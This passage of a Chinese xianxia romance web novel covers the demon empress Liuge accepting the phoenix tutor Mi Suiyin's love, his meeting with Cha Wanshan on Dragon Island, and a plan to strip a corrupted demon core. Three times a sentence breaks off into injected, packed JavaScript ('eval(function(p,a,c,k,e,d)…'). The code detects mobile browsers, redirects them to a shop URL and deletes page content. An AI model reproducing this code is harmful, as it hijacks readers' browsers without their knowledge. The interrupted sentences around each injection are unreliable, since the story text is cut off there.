“琉歌……”凤凰帝师再难维持吐息平稳,虽然尽力压抑,声音还是抖得厉害:“如今往后,您还需要我吗?” 烛火跳了跳,在两人之间投下明灭的光影。 “您以理想驱散桎梏我十万年的泥泞。” 凤凰的眼眶微微发红:“若您没有那样的意思,我保证今日之事再无第二次,我会退回规矩和道义之后,成为您最模范的臣子——我会做好第一神使的本分,守好您交付的每一件事,绝不会让私心影响半分。” “可若您……” 他没有说完,他也不敢说完,主动越过道义和规矩已经耗尽了他所有的力气,此时再无继续挣扎的勇气,只好狼狈的吞下堵在喉咙里的未尽之言,将裁定生死的权力递进了琉歌的手里。 琉歌望着他,望着他眼底那一点小心翼翼的期待,望着他微微颤抖的眼睫,望着他跪在那里,紫玉冠压着鸦羽般的黑发,白金色的眼瞳里倒映着烛火,也倒映着琉歌紧绷的侧脸。 他只是静静地望着她,像是在等一个早已预料的答案,又像是在等一个永远等不到的未来。 银发妖皇沉默了很久。 久到窗外的细雨声渐渐清晰,久到烛芯爆出一声轻响,久到弥随音以为她不会再开口了—— “……我一直在想,我算什么。” 琉歌的声音很近,近得像是直接响在他心里。妖皇微微俯身,纤长的睫毛几乎扫过他的眉骨,墨紫色的眼瞳近在咫尺,他能在里面看见自己,更多的却是一种无机质的冰冷。 像两颗刚刚被打磨出来的玉石宝珠——弥随音不合时宜的想到,是那种尚未被任何人捧在手里,带在腕上把玩过,于是只有凛冽的灵气,没有丝毫温润的人气的宝玉。 “我为何要为妖族赴汤蹈火,出生入死?就因为我是妖皇吗?” ……玉石无暇的表面“咔啦”一声碎开一道裂口,泪似的玉髓汩汩流出。 凤凰帝师怔愣回神,刚要细看,琉歌却又只是那个妖皇了。 “可是,刑微雨不忍魔族永远浑浑噩噩活着,于是选择成为魔祖。黎狩权欲熏心,主动谋划吞噬刑微雨,成为新一代魔尊。梅若君带领仙族击退魔族入侵,数次大胜,以战功封仙尊。还有铭榕,也是不忍人族被仙魔奴役,主动选择站了出来,成为人皇。” “师尊,为何只有我,一睁眼就要经历这些——” 她的声音开始发涩:“明明他们都是主动选择了这个位置,为何只有我,一睁眼脑子里就是无休无止的哀嚎和祈求?为何只有我一睁眼就要和手足半身你死我活?为何只有我……” “为何只有我,是被这个位置选中的?” “若我也是血肉之躯,若我有的选……究竟是我承载了妖族的希望,还是妖族的希望化作了我?” “师尊……弥随音,既然你要坦诚,那便坦诚的告诉我——在你的眼里,什么是我?” 幼兽悲鸣着,她睁开眼,直直望进弥随音的眼底,比起祈求和迷惘,先一步溢出眼底的,却还是为弥随音所熟悉的凛冽杀意。 “这样的我,你喜欢什么呢?” “我都不知道自己是谁,您凭什么又说喜欢我?” “我该如何相信你的喜欢?” 最后一个问题落下,屋内陷入死一般的寂静。 弥随音愣在那里,像是被人当头浇了一盆冰水,那些滚烫的情绪、那些急于剖白的冲动,全都被这个问题钉在了原地。 “这便是你来向我寻求答案的代价,弥随音,我不想杀你,你非要来找死。”琉歌冰凉的手猛地扼住了他的咽喉,眼角眉梢流淌出的痛苦能供养一万只哭泣的眼睛,可唯独属于妖皇的那双眼睛不被允许哭泣。 “我要你好好想,好好回答……你该明白,你想挖掘妖皇的弱点的那一刻,就要做好长眠帝宫的准备。”琉歌垂着眼,睫毛在眼底投下一片阴影,遮住了所有情绪。 溪流般的银发淙淙倾泻而下,落在帝师的下巴,锁骨,胸前,斑驳打湿了他的衣襟。 直到琉歌拇指抚过他的眼尾,弥随音才恍然惊觉,自己早已泪流满面。 红线的触感爬上了他的脖颈,前世死亡的阴影随之爬上他的心,弥随音张了张嘴,却发现自己说不出话。那些准备好的词句,那些在心里反复演练过的剖白,此刻全都堵在喉咙里,化作一片酸涩。 ……原来,原来他从未恨过她。 他忽然笑了。 那笑容苦涩,苦涩得像是嚼碎了黄连,却又带着某种奇异的温柔。 他下意识地抬手,想去触碰琉歌的眉眼—— 手伸出去的那一刻,他才恍然回神。 但他没有收回。 他就那样伸着手,悬在半空,等待着她的反应。 琉歌静默地盯着他。 盯着他悬在半空的手,盯着他眼底的苦涩与温柔,盯着他微微颤抖的指尖。 好半响。 她缓缓收回了扣在他咽喉的手,垂下眼睑,转而顺着弥随音的手臂握住了那只手,微微用力,将他温热的掌心贴上了自己的侧脸。 红线失去妖皇的掌控,轻轻坠滑而落,杂乱的悬挂在两人之间,剪不断,理还乱。 那侧脸触感温凉,带着神族特有的、近乎非人的细腻,却又那样真实,真实得让弥随音的心脏狠狠抽搐了一下。 “……师尊,你教教我。” 弥随音的眼眶倏地红了。 “——弥随心,我的姐姐曾对我说,”好半响,帝师终于开了口,声音低缓平稳,“当那个将你溺于爱河的人出现,你便知道我是什么感受了。” 琉歌倏地抬眼:“那……师尊现在是什么感受?” “我快要溺毙了。” 凤凰浅金色的眼瞳里漾出一片颤抖的水汽,那水汽在烛光下微微发亮,像是融化的琉璃:“您将我拉出一片泥泞,又将我沉入另一个深渊——我恳求您……” 他的声音开始发抖,却依然一字一句,清晰得近乎执拗:“恳求您再赐我以明晰的方向和答案。” “无论是什么……”凤凰的指尖微微发颤,掌心却烫得惊人,“死亡也好,未来也罢——琉歌,无论答案是什么,我都可以接受。” 琉歌没有抽回手。 “我恳求您……”凤凰抬起头,那双白金色的眼瞳里倒映着她的脸,也倒映着某种近乎献祭的虔诚,“惊轶说,该用坦诚换坦诚——我心甘情愿的将心剖到您的面前,能否求您再将我拉出深渊一次?” 烛火在她墨紫色的眼底猛地一跳,像是冰封的河面裂开第一道缝隙。 琉歌望着他,忽然俯身前倾—— 额头贴上额头的瞬间,弥随音整个人陡然僵住,他的声音哽在喉咙里,却还是努力扯出一个笑。 “……我高兴,琉歌。” “我终于找到您吸引我的原因,找到我们的相似点了。” 琉歌微微偏头,眉心蹙起一道浅纹。 “我们都是被剩下的那个。” 凤凰紧贴着她侧脸的拇指学着她刚刚的样子,轻轻抚过她的眼尾,感受她最细微的肌肉牵拉,最真实的感情流露。 “我们相似却又不同,琉歌,我们是主动选择长在一起的并蒂双生。” “我的姐姐,弥随心,因为一份情爱,永远的抛下了我。”他说得很轻,像是在说一件与自己无关的事,可那微微颤抖的尾音,还是泄露了他的心绪。 “我亲眼看着她屠戮人族,犯下逆天改命的大错,就为了施展禁术,救一人回来。从那时起,我便认定情爱是劣根,是祸端——避之不及。” 他苦笑了一下:“可我又忍不住去想,弱小而短命的人族,仅靠着一点虚无缥缈的情爱,就能让可与神明比肩的混沌神兽为他而死吗?情爱……到底是什么?” “我想了十万年,闭关了十万年,孤独了十万年。”他膝行两步,握住了琉歌规规矩矩置于膝头的另一只手,那动作小心翼翼,像是在触碰什么易碎的珍宝。 “然后,我看到了您。” 琉歌的眼睫颤了颤。 “姐姐是离经叛道的,她视天道为无物,视凤和凰之间天定的姻缘为笑料,喜欢上了人族就去相处,为了复活心爱的人,亦能向人皇和天道举刀挥砍。” 凤凰喉咙里滚出愉悦的笑音,可能他也早在十万年的时光里疯掉了吧。 “姐姐还在时,我不需要思考什么,天道已经明晰的划定了凤和凰的未来——长大,相爱,结合,再在某一天共同孕育下一代凤凰。随后,下一代凤凰破壳的时候,我们便可以携手共赴死亡。” “我一直以为自己恐惧的是情爱,直到看到了您,我才明白,我恐惧的是弥随心用自己的死,带走了我未来所有的可能性。姐姐最后的遗言是要我好好活着——这是姐姐最后帮我做的一个选择,也成了我唯一的方向。” “但活着是由无数个选择构成的。” “我已经失去了做任何 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310284|198802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 选择的勇气。” “我总是想,我的决定比得上天道的决定吗?天道让凤凰互为半身,血脉相同,识海相通,若天道的决定都会滑向这般不可预测的生离死别,我又该如何保证自己的决定是正确的?” “如果只要顺从天意的话,我其实什么都不应该做,不是吗?” 弥随音笑了,眼泪在白金色的眼瞳里打转,于眼泪便也和野蜂蜜一样金黄,粘稠,甜蜜。一如他的话语:“您说不知道自己为何在这里,可我却看到了一种确定性,琉歌。” “选择意味着变化,我经历弥随心的死,已经承担不起任何变化……于是,我选择在时间流动最慢的仙族闭关。” “千年万年,仙族还是那几张熟面孔,还是我熟悉的建筑,还是我熟悉的云和海。但在您的身上,我看到了变化的确定性——为何不逃走呢,尊上?” 琉歌真正的怔住了,她茫然的注视着弥随音翕张鼓动的唇舌,忽然抬手猛地攥住了他的手腕! 停下,她想说,她该制止这个人继续说下去,妖皇不能有喜恶,不能有弱点,不能有…… 可她最后什么也没说,只是屏住呼吸,兽化的锐利的竖瞳霎时凝在弥随音艳丽的眉眼间。 ——神明的垂怜终于降下,默许的信徒的付出和索取。 “无论再来多少次,无论您是什么开局,无论是否有我在身边……琉歌,我看到了,我看到您终将每一次都走上这个位置。” “您不会放任妖族被侵略,被屠戮,您不会放任这片热土上刚刚自由的种族重回奴役的高压之下——” “您总会站出来的。” “无论是妖皇,神女,血肉之躯,还是其他什么。” 凤凰和大部分翼族一样,有一份客观的好嗓子,无论是笑着笑还是哭着笑,总是动听。 琉歌怔愣半响,忽然抬手摸了摸他的喉结,全然不顾弥随音的手还压在她的手背上呢。 “尊上……琉歌……我需要的就是这样的一份确定的理想,让我能放下恐惧,将自己交付给您。”他的声音轻得像梦呓,“我需要的就是这个。” “我不担心您之后做出违背本心,违背理想和妖界的事情,因为您已经以死亡,在我这里证明了您誓言和理想的重量。” “您怀揣着一份直奔死亡而去,永不动摇的理想——这就是我需要的,琉歌。” “我从仙界下来,选择保护妖族不受魔族侵略——这是我的选择,也是我第一次觉得,我存在,我在做弥随心不会做,但我,弥随音一定会做的事情。” “圣坛上,我带您走后,您完全可以再不回来,那时的您一没有接受信仰的供养,二没有和圣坛链接接受地脉的能量——清清白白,自由自在,天地对您没有一点约束——为何要吞噬郁柏成为完全体的妖皇?为何主动的将自己置于约束和压力之下?” 琉歌明白,弥随音已经知晓她的重生了。 多么大的变数和威胁摆在她眼前——可这一次,妖皇的心里没有丝毫杀意聚敛。 “您爱着他们……您爱着您的子民。” “而我,需要这样的,与我相似却不同的您,我于是爱上这样的您。” 琉歌一直紧绷的眉眼忽然颤抖不休,一丝裂纹划过她沉落而下的眉梢,像是冰面上终于崩开的裂隙。 “师尊,我——” 她顿住了。 眼睑半阖,眼尾微垂,目光沉滞,那些藏在眼尾眉峰的疲惫轰然落下,使她的眉头拧起,眉峰下压,眉心攒起一道浅纹,嘴角抿成一道硬直的线,唇瓣抿得发白,连带着脖颈的线条都透着一股隐忍的郁气——像是在咬着牙撑着什么。 “我来不及了。” 那声音轻得几乎听不见,却像一块巨石,重重砸在弥随音心上。 “我能给你答案,但不要问我原因……至少现在不要,好么?” 来不及了? 神族寿与天齐,千年万年于她们而言是短寿。究竟是多短的时间,才会让琉歌一直紧绷地担忧着? 他没有问,只是轻轻抚过她的眼尾,声音轻得像一片羽毛落下,带着年长者饱经风霜的镇定:“虽然我很想知道,但点到为止也是凤凰一族的美德。” 琉歌微微一怔。 “请告诉我答案。”弥随音望着她,目光澄澈得近乎透明,“我今日只为这个而来——尊上,只要您最终的判决落下,我就会为自己补全理由。” 琉歌的嘴唇动了动,却又踟蹰。 “这样会不会很假?我什么理由都不能给你,你当真相信我说的话吗?” “不会的,不会的——” 弥随音温热的掌心一直没有移走,还紧紧贴着琉歌的侧脸,那被他抚过的地方忽然酸涩地发起烫来,烫得琉歌眼眶微涩。 “我正在看着您呢。” 他轻声重复道。 “我正在看着您呢。” 72. 全新的角度 “你确定吗……?”青丘狱里,惊轶捧着演算纸手在抖,那张薄薄的结果在他手里颤啊颤,不堪承受其重似的,仿佛重逾千斤。 画妖浮荣冷冷白他一眼,毫不掩饰自己被冒犯的恼怒:“春在野之后,我就是研学派实力最强的第一人,我反复推算过的东西,就没有出错的!” “春在野生时尚不敢质疑我的实力,何况是你。” 画妖出来后肯定是要进典藏阁的,典藏阁直属妖皇,和惊轶统领的三司平行,甚至以现在琉歌的态度来看,隐隐有压宰辅一头的架势。 惊轶也知道画妖是个什么性子,不与她争执,只是再次确认到:“神子神女的妖皇之争涉及妖族根本,少有差池便会将妖界带向万劫不复的深渊,若真按你所写的……这些步骤来执行,你能保证的成功率有多少?” “十之五六。”浮荣答。 “春在野死后,尊上清理了学宫的人,却并未损坏学宫遗留的数据和经验笔记——我的数据资料来自配合试验的问情肇武先皇。” 画妖神情淡淡,补充了一句:“若您能劝定宸尊上陪我的试验,这个概率我有自信能提到十之八九。” 惊轶无语:“你怎么自己不去说?你可是尊上眼里的大、红、人。” “谬赞谬赞呵呵呵……”浮荣故作浮夸的连连拱手作揖,随着她的动作,腕间的锁链叮铃咣当响个不停。 “真正的大红人在隔壁呢。”画妖冲被桎梏了自由的手腕努努嘴,示意惊轶别说傻话了,自己爱莫能助。 她还在蹲大牢呢。 隔壁,妖皇开恩,喻未央破例得到了一小方盈满海水的木桶,墨蓝色的鱼尾蜷在其中,闻言只是尾尖一甩,几滴咸涩的海水泼到惊轶脚边。 前鲛人族长也不否认自己的受宠,幸灾乐祸的笑道:“对啊,你不把结果递到尊上面前,她哪来的功劳破格出狱?” 画妖左看看又看看,忽然笑了:“这样说来,我们俩之后一个入鸾台,一个去典藏阁,大概率是要被尊上金屋藏娇,做幕后工作去咯。” “只有我们宰辅大人,眼光好,骨头又软,居然是旧神庭里唯一过了明路的。” 喻未央秒懂她的意思,配合的接话道:“以后还要多多仰仗宰辅大人提携。” 赤狐长老第无数次绝望闭眼,深深吸了一口气,把话题又掰了回来:“你觉得尊上会接受这个方案吗?” 他想说尊上最近跟凤凰帝师进展很快,又不确定弥随音那种情窍不开的样子能不能把握住机会,犹豫了一下,干脆还是闭口不提。 浮荣无语凝噎,又翻了个白眼:“我怎么知道,反正方案在这里了。” “……罢了,我拿去帝宫给尊上决断。”惊轶耸耸肩选择开摆,“这反正也不是我能决定的。” “对了——”他都走到转角了,忽然想到了什么,一个急转弯又跨了回来,严肃警告道:“你的方案,在琉歌尊上的意志下来之前,一个字也不要透露给凤凰帝师。” 青丘,玉牡丹帝宫。 一场淅淅沥沥的春雨过后,帝宫内外都附上一层油润的水色。青玉铺就的地砖融在春雨里,迎合远远近近刚刚冒头的绿芽,帝宫的温和和生机展露无遗。 问情肇武先皇对自己的妖后很是喜爱,作为帝宫基调的青玉,选的是最贴近青龙亦清鳞片颜色的一种坚固玉石,和亦清妖后的性格一样,清润温和。 据琉歌的了解,这位亦清妖后,不仅可以横刀立马随妖皇征战沙场,更是龙族里少有的喜爱伺候花草,喜爱亲自动手抚养幼崽的负责雄性。 ……神识缓缓收回的途中不可避免的,会将收集到的信息全部带回来。 琉歌再不能直视那双白金色,旭日一般的眼眸了。她微微偏头,将大半张脸都埋进了弥随音的手掌间。 温热的叹息拂过凤凰的手腕内侧,和琉歌相同的位置上,妖皇印记忽然亮起。 强行让杂乱的信息分散了一下自己快要过载的情绪,琉歌这才睁开眼,直直望进弥随音的眼底。 她忽然想起自己这一路走来,从诞生的那一刻起,她就在暴雨中。没有选择,没有退路,只能一直走,一直走,走到今日。 她从未想过,会有人愿意站在雨里,就这样看着她。 然后坦诚的亮出自己的全部筹码——我无法为您结束这一场漫长而汹涌的暴雨,但我愿意和您一起穿行于雨幕之间。 如果我暂时不能与他将心比心……琉歌想,至少,我别伤了他的心。 “好——” 琉歌的声音有些哑。 她的五官美则美矣,却并不算浓颜,面部线条和缓平顺,笑起来温和亲切,冷下脸时端肃威仪,唯有一双眼睛是例外。 像是妖族百姓想象她时,圣坛孕养她时,提笔往白纸上点下了一个缓缓晕散开的墨点,晕开了鼻子,嘴巴,耳朵,而墨点中央,或者说那滴浓墨重彩的墨点本身,就是那双眼睛。 现在,那滴钟敏灵秀的墨点里晕出了全新的东西——为了他,也因为他。 那是以往他们每一次对视时,弥随音从未从她的眼里看到过的东西。 他知晓琉歌要说什么了。 胸腔里鼓噪的怜惜,狂喜和不可置信融进血液里,随着血管狂奔,仿佛能日行万里的汗血宝马被囿于一方皮囊构成的囚笼,于是只能狂怒暴躁的四处冲撞,踢踏……凤凰帝师耳膜生疼,几乎耳鸣了起来,他怕自己的情绪影响,错过琉歌的回答,微微瞪大了眼睛,专注而狰狞的紧盯着君王的唇舌…… 听不清没关系,弥随音想,他学的杂,会读唇语。 “你攥疼我了。”琉歌蓦然笑了,置于膝头的那只手动了动。 “啊?哦……呃,我,抱歉……”弥随音愣了两秒才反应过来,懵懵的,下意识松了手,手忙脚乱又要道歉—— “是的,我对你总是另眼相待,弥随音。” “你在我这里,似乎总是有特权,能让我开特例——师尊,你是怎么做到的?” 不等他回答,也不需要他回答,琉歌反手握住了他刚刚松开的那只手,妖皇触感细腻微凉的指尖绕着他的腕骨转了一圈,轻巧而俏皮的滑入凤凰的手腕内侧——妖皇印记突然烫得弥随音如坐针毡,难以忍受起来。 “师尊,我对你的喜欢,是那种要你当我的妖后的喜欢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310285|198802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ——这是我现在能给予你最大限度的坦诚。” 弥随音的瞳孔倏地收缩。 “我要你无论如何,都至死坚信这一点。” “从此往后,你这一颗心,只为我而跳跃,燃烧吧。” 凤凰短暂的怔愣了一秒,突然泪流满面。 他没有说话。他只是小心翼翼地伸出手,将琉歌揽进怀里。 那是一个紧绷的、小心的、克制的怀抱。不敢用力,不敢收紧,只是虚虚地环着她,像是环着一个随时会碎的梦。 直到琉歌缓缓吐出一口气,伸出手,搂住了他的肩背,将头埋进他的颈侧。 那一瞬间,弥随音终于收紧了手臂。 “……是,吾皇。” 他的声音闷在她发间,带着压抑不住的颤抖。 “臣将捧着一颗灼烫的心,直到行至生与死的尽头。” 窗外的雨不知何时停了。 烛火跳了跳,将两人的影子投在墙上,融成一片。 不知过了多久,琉歌忽然轻声开口。 “——如果尊上喜欢我的话,我还是有一点优势在身上的。” 弥随音一怔,随即闷闷地笑出声。那笑声震得琉歌埋在他颈侧的耳朵有些痒,她忍不住偏了偏头,发问道:“怎么突然想到优势了?惊轶说了什么?” “您偷听我的心声?” “不可以?” “……臣失言,君王无错。” “无妨。” 两人安静的依偎了一会,心绪逐渐平稳后,熊熊燃烧的事业心又坚强不屈的重新占领过琉歌的识海。 “……蛛网等事情妖族就能做,但是追查云出岫这件事只有熟悉仙法仙术的你能上手。我给你找了个帮手,去龙岛看看吧。” 她松开手抬起头,神情重回往日的清冷,眼尾却尚带着未消的胭脂色。 弥随音被那目光看得耳尖微红,正要说什么,门外忽然传来一阵脚步声,随即是颂颂轻柔的声音: “尊上,惊轶宰辅求见,说是有要事禀报。” 琉歌眉梢微挑,与弥随音对视一眼。 “进来。” 门开了,颂颂先一步踏入,身后跟着一脸凝重的惊轶。赤狐长老的目光在屋内一扫,落在弥随音身上时,眼皮几不可察地跳了跳。 弥随音还跪在地上,衣衫有些凌乱,眼角微微泛红——虽然两人早已分开,但那气氛…… 惊轶麻了。 “臣……来得不是时候。”他艰难开口。 “安静杵那。”琉歌语气淡淡。 她伸手去扶弥随音起身,惊轶诧异的发现,凤凰帝师像是终于被拭净了灰土的夜明珠,在这间并不算宽敞的偏殿房间,在琉歌的膝前,彷如正幽幽柔柔的发着光。 “臣领命。”弥随音有些不好意思,望着琉歌,忽然没头没脑的来了一句:“我们很快就要见面了,尊上。” ——我就在这里,琉歌,我等待着,等待着我们真正见面的那一天。 我们很快就要见面了。 琉歌当然明白他的言下之意,笑着点了点头:“是的,我们很快就会见面的。” 73. 茶晚山的到来 凤凰展翅,掠过妖界山河。 得益于翼族强悍的视力,他惊讶发现,仅仅一个月,妖界已经焕然一新了。 自高空俯瞰,蛛网的二级传送阵如同星子散落大地,光芒虽微弱却连绵成片。新建的官道上,运输物资的车队络绎不绝。抚育司巡林卫分几队穿梭于山林之间,腰间的搜寻阵盘偶尔闪过微光。 一切都在运转,一切都在向前。 弥随音的唇角微微扬起。 ——是他的君主,正在让这一切发生。 龙岛遥遥在望,那座曾经风格生野威严的龙族圣地如今戒备森严,赤琉璃近卫军的巡逻队环绕岛屿,阵法光芒将整座岛笼罩得密不透风。 弥随音收拢双翼,落在岛外的礁石上。 有人已经奉命等在那里。 那人穿着素净宽大的青灰色衣袍,兜帽压得很低,只露出一缕粉白色的发尾。她背对着海风而立,听到落地的声响,缓缓转过身来。 兜帽下,是一张年轻得过分的脸,眉眼间犹带几分独属于少年的尖利锋芒,棱角分明,眼底却沉淀着与年龄不符的沉静。 弥随音脚步一顿皱了皱眉:“……怎么是你?” 茶晚山微微欠身算是行礼:“凤凰仙君。” 弥随音蹙了蹙眉,没有纠正她的称呼,只是望着她,一时间竟不知从何问起。 茶晚山也没急着开口,任由海风吹起她垂落的发丝,像是在等他的第一个问题。 “……你为何在这里?”弥随音终于问。 “来帮您查云出岫的案子。”茶晚山的回答简洁明了,“定宸尊上允了。” 弥随音眉心的褶皱更深,他自然记得琉歌说“给你找了个帮手”,但他以为会是苍耳子的人,或是审查司的熟面孔。 而不是仙尊的徒弟。 “你不该在这里。”他的语气沉了下来,“你该在仙界,或者……九重天,仙庭。” 茶晚山抬眼看他,目光坦然:“我在哪里,由不得凤凰仙君置喙,尊上允了,我便来了。” 弥随音沉默片刻,忽然问:“梅若君知道吗?” 茶晚山的睫毛轻轻一颤。 她没有回答。 远处,龙岛上的阵法光芒明灭不定,像是某种无声的催促。 “你可知你在做什么?”弥随音的声音放缓了些,带着浓浓的不理解和不赞同:“你是他的徒弟。” “正因为我是他的徒弟。” 茶晚山终于开口,声音不高,却一字一句,清晰得近乎执拗。 “师尊在仙界的印象里,一直是敦厚温和的好人。”她微微垂眼,“几年前,趁着魔族新旧两神交替的时候,师尊带兵突袭过魔界一次——仙君可还记得?” 弥随音点头。那次突袭他当然记得。为了不引起魔界注意,三位神使都未参与,梅若君一人带队深入魔界,和魔族新神黎狩打了个天昏地暗。 “所有人都以为仙尊必胜无疑,谁知真是出乎意料,最后竟是平手。”弥随音说,“不过自那之后,魔族虽然整体收缩,再没有插手其他位面的大动作,黎狩也算是彻底坐稳了魔尊的位置,算是……祸福参半吧。” 茶晚山低下头。 “不是的。” 她的声音很轻,轻得几乎要被海风吹散:“那一战,仙界其实大败而归,师尊也重伤到不得不闭关的程度。” 弥随音怔住。 “师尊被黎狩下咒,”茶晚山没有看他,目光落在脚下的礁石上,“一但动用神力,就会被天道制裁。肉身溃烂,识海崩碎。” 海风呼啸,弥随音张了张嘴,却发现自己说不出话。 他想起梅若君。那个总是温温和和、不疾不徐的仙尊。想起他在琼寰会议上端坐主位的模样,想起他看向自己时那惯常的、雾蒙蒙的笑意。 敦厚,温和,可亲。 他蹙了蹙眉,不知道怎么形容这个感受:“你的意思是,仙尊是为了解咒,不得不和魔尊做了交易?” “按你的猜测反推,那就是仙尊先被黎狩下咒重伤,他为了解咒,对魔族的恶行只好睁一只眼闭一只眼——也就是说,他放任魔族侵略妖界,其实有无法言说的苦衷,是不得已而为之?” “你是来替他说情的?怎么又想到我了,仙界又要打魔界了?” 出乎意料的,茶晚山摇头:“我是想证明师尊的无辜和清白,但若是不行,我也要亲手将证据握进掌心,甩到他的面前。” “我过来,一是为了探寻真相。”山茶花一样光华灼烈的少女终于抬起头,望向弥随音,“二就是为了找您,凤凰仙君,有些事情,只有活了十万年的您才可能给我答案了。” 弥随音回过神来,不知为何并不太相信茶晚山的推测,又一时间无从反驳,语气不自觉地带了几分疏离:“叫我第一神使吧。我现在是琉歌的帝师。” 茶晚山一愣,随即,她微微笑了:“是,帝师大人。我想通过帮助妖皇尊上正式加入三垣盟誓,进而得到人皇那里的资料。” “什么资料?” “刑微雨是怎么诞生的,我的师尊又是怎么诞生的。”茶晚山的目光直直望进他眼底,“他们和人皇是一个情况吗?先有了血肉之躯,再得到天道的青睐,以权柄和战功封神?” “还是和定宸尊上一样,由地脉孕育,一诞生就是神明?” 弥随音望着她,忽然意识到她在想什么。 “你我都更倾向于前者。”茶晚山替他说出了答案,“因为,若是一诞生就是神族的话,为何在刑微雨尚且活着的时候,魔界还要孕育黎狩去篡他的位呢?这不合常理。” 弥随音沉默片刻,缓缓开口:“因为孕育一位神明,需要地脉塑造神族真身。无论是底蕴多么丰厚的位面,塑造真身需要的能量,都是极大的一笔负担。” 茶晚山静静听着。 “所以魔界不可能在刑微雨活着的时候,再孕育一位新神。”弥随音说,“黎狩的诞生,本身就意味着刑微雨必须死。” 茶晚山垂下眼,似乎在消化这个信息。 “那……”她忽然又抬起头,“这又说不通了。为何刑微雨要下死手弄死黎狩?” “如果只要她还在一日,就不会有新的神族诞生。”茶晚山喃喃道,像是在对自己说,“那她明明地位稳固,为何要耗费那么大的力气和代价去杀黎狩?” 弥随音没有回答。 有些问题,或许只有当事人才知道答案,又或许,连当事人自己都不知道。 “我本以为你跟着的君主是轩辕郁柏神子。”她忽然望向弥随音,“没想到居然是一直隐于幕后的定宸尊上?你们是怎么认识的?” 弥随音微微摇头:“涉及妖皇的隐私,我不能说。” 茶晚山一怔,随即规规矩矩地颔首致歉:“是我失言。” 两人之间陷入短暂的沉默。 远处,龙岛上空忽然闪过几道光芒,那是传送阵启动的痕迹。片刻后,几道人影从岛上飞出,落到两人面前,拱手行礼。 “帝师大人。” “危天梭留下,”弥随音想了想,安排道,“其他人先回青丘。帝宫那边忙不过来了。” 茶晚山并不知晓都是谁,便没有多问。 “走吧,”弥随音收回目光,率先向前走去,“既然来了,就别耽搁时间了。” 茶晚山微微点头,跟上了他的脚步。 青丘,玉牡丹帝宫偏殿内,夜幕已经低垂,烛火静静燃烧。 琉歌靠坐在椅上,指尖捏着一张薄薄的绢帛,垂眸细看,那绢帛上密密麻麻写满了字,是她再熟悉不过的笔迹——画妖浮荣的手笔。 惊轶立在阶下,垂首不语,只等着妖皇的决断。 殿内安静得能听见烛芯偶尔爆裂的轻响。 琉歌看完最后一行字,将那绢帛在指尖折了几折,随手丢到桌上。 她叹了口气。 “所以,你们最后找到的方法,就是让我和郁柏……阴阳交合?” 惊轶头皮发麻。 他在妖皇威压下硬着头皮应道:“是、是的尊上。浮荣说,您二人本就一体,您不愿直接吞噬郁柏神子,不若试试阴阳交合的法子——她说得很有几分道理,臣这才斗胆帮她将这份成果呈了上来。” 琉歌望着桌上的绢帛,目光幽深:“郁柏体内,有被污染的问情妖丹残片。” 惊轶一愣。 “并非我不愿吞噬他,”琉歌的声音淡淡的,听不出情绪,“是我不能吞噬他。” 她抬起眼,望向惊轶: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310286|198802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我于他本就一体。现在我没有真身——也就是没有妖丹。只要我吞噬了他,他的妖丹便会直接融入我的体内。” 银发妖皇顿了顿,叹了口气道:“附着在其上的魔气,也会进入我的体内。” “我要的不是夺去他妖丹的方法,是将妖丹剥离体内的方法。” “问情残丹上的魔气,是最浓郁纯粹的魔尊魔气,比寻常魔气威力强了千倍不止。”琉歌的声音依旧平静,“若我吞噬了他,妖皇就会被魔尊所控。” 殿内的空气仿佛凝固了,惊轶的脸色变了,张了张嘴,却说不出话。 所有人都意识到了这个问题的严重性。 “其实最好的办法是去找仙尊。” 琉歌思索着:“只有和魔尊同级的仙尊、人皇、冥主,才能消除魔尊魔气带来的影响——我尚未获得妖皇真身,只有神座和权柄,在天道判定里,尚且位居半神一列……所以,我没法消除魔气,吞噬郁柏。” 她忽然短暂的顿了顿,良久,轻声问面前几人:“若我成功消除了魔气,夺得妖皇真身……郁柏会如何?” “就此成为普通妖族,还是……烟消云散?” “不。”惊轶心头一紧,声音有些干涩,“尊上,郁柏大人是圣坛孕育的神子——神不会死。” 他顿了顿,艰难地继续道:“郁柏大人失去真身,失去妖丹,也就意味着他再不能修炼,只能如凡人一样,朝起暮宿,一日三餐,然后这样永远活下去。” “只是……神族的肉身不会消解,可神子与百姓无异的识海会崩溃。他曾说过可以听到妖族百姓的哭嚎和祈愿……可能,神子怕是要听到识海溃散,从此如行尸走肉般浑浑噩噩地活着。” 他垂下眼,不忍心宣告这个大概率发生的残酷结局:“像是魔界最底层的那些魔兽一样,只余生存的本能。” 殿内陷入死一般的寂静。 